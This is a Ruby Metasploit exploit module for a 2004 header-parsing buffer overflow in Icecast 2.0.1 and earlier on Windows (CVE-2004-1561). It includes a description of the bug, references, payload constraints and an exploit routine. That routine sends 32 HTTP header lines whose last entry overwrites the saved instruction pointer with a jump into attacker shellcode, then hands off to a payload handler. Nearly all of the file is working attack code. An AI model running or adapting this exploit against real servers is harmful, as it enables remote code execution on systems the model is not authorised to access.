92 lines
2.8 KiB
Ruby
92 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Icecast Header Overwrite',
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'Description' => %q{
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This module exploits a buffer overflow in the header parsing of icecast
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versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32
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HTTP headers will cause a write one past the end of a pointer array. On
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win32 this happens to overwrite the saved instruction pointer, and on
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linux (depending on compiler, etc) this seems to generally overwrite
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nothing crucial (read not exploitable).
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This exploit uses ExitThread(), this will leave icecast thinking the
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thread is still in use, and the thread counter won't be decremented.
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This means for each time your payload exits, the counter will be left
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incremented, and eventually the threadpool limit will be maxed. So you
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can multihit, but only till you fill the threadpool.
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},
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'Author' => [ 'spoonm', 'Luigi Auriemma <aluigi[at]autistici.org>' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-1561'],
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[ 'OSVDB', '10406'],
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[ 'BID', '11271'],
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[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x0d\x0a\x00",
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'DisableNops' => true,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { }],
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],
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'DisclosureDate' => 'Sep 28 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8000)
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], self.class)
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end
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# Interesting that ebp is pushed after the local variables, and the line array
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# is right before the saved eip, so overrunning it just by 1 element overwrites
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# eip, making an interesting exploit....
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# .text:00414C00 sub esp, 94h
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# .text:00414C06 push ebx
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# .text:00414C07 push ebp
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# .text:00414C08 push esi
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def exploit
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connect
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# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
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# jmp 12
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evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
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evul << "Accept: text/html\r\n" * 31;
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# jmp [esp+4]
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evul << "\xff\x64\x24\x04\r\n"
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evul << "\r\n"
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sock.put(evul)
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handler
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disconnect
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end
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end
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